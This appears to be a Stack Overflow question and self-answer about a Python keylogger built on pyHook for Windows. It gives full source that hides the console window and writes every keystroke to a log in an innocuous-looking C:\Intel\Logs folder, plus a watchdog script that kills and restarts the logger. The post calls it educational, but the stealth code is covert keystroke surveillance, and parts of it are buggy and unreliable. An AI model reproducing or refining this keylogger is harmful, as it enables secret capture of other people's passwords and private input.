0

So I'm new to Pyhook and wanted to make myself a keylogger for educational purposes. However, the log gives me weird inputs. It's either just random symbols, always in capital or all good and normal.

I'm using python 3.4 and I'm on Windows.

This is my code:

import pyHook
import pythoncom
import win32gui
import win32console
import os
import sys
import time
import getpass



file = open("C:\\Intel\\Logs\\log.txt", "w")
file.write("") #clears the log
file.close() 

log_file = "C:\\Intel\\Logs\\log.txt"                 #name of log file
window = win32console.GetConsoleWindow()  #go to script window
win32gui.ShowWindow(window,0)             #hide window





def pressed_chars(event):          #on key pressed function
    if event.Ascii:
        f = open(log_file, "a")
        if event.Ascii == 97:      # (if char is "return")
            f.write("a") # (open log_file in append mode)
        char = chr(event.Ascii)    # (insert real char in variable)             
        if event.Ascii == 13:      # (if char is "return")
            f.write("\n")          # (new line)
        elif event.Ascii == 8:     #(if char is "backspace")
            f.write("[BACKSPACE]") #(print "[backspace]")
        f.write(char)
        print(char)# (write char)



proc = pyHook.HookManager()      #open pyHook
proc.KeyDown = pressed_chars     #set pressed_chars function on KeyDown event
proc.HookKeyboard()              #start the function
pythoncom.PumpMessages()         #get input

The code is mostly taken from internet but it's slightly modified.

Now the question is: How can I make sure that it always will be normal outputs?

Let me know if there is anything I need to clarify.

smci
  • 32,567
  • 20
  • 113
  • 146
Lojas
  • 195
  • 3
  • 13
  • What do you mean weird inputs, weird outputs, and normal outputs? – fikr4n Feb 27 '17 at 06:00
  • Normal outputs: When it actually outputs what i type. Weird out puts: okay seems like i can't even use them so here is a picture. https://gyazo.com/db2f067f55cabf97c179e2a8e0db0a37 – Lojas Feb 27 '17 at 10:19

1 Answers1

0

So i managed to kinda make it work. I just had this script running in the backround, so every time if it gave me these weird inputs, it would restart until it gave me actual letters.

import os
import time

count = True
while count == True:
    time.sleep(40)
    if "a" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "b" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "c" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "d" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "e" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "f" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "g" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "h" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "i" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "j" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "k" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "l" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "m" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "n" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "o" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "p" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "q" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "r" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "s" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "t" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "u" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "v" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "w" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "x" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "y" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "z" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "A" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "B" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "C" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "D" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "E" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
   if "F" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "G" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "H" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "I" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "J" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "K" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "L" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "M" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "N" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "O" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "P" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "Q" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "R" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "S" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "T" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "U" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "V" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "W" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "X" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "Y" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()  
    if not "Z" in open("C:\\Intel\\Logs\\log.txt").read():
        print("hi")
        os.popen("taskkill/F /IM thekeylogger")
        time.sleep(1)
        os.popen("start thekeylogger.")
        continue

Let me know if someone got a better solution for this.

Lojas
  • 195
  • 3
  • 13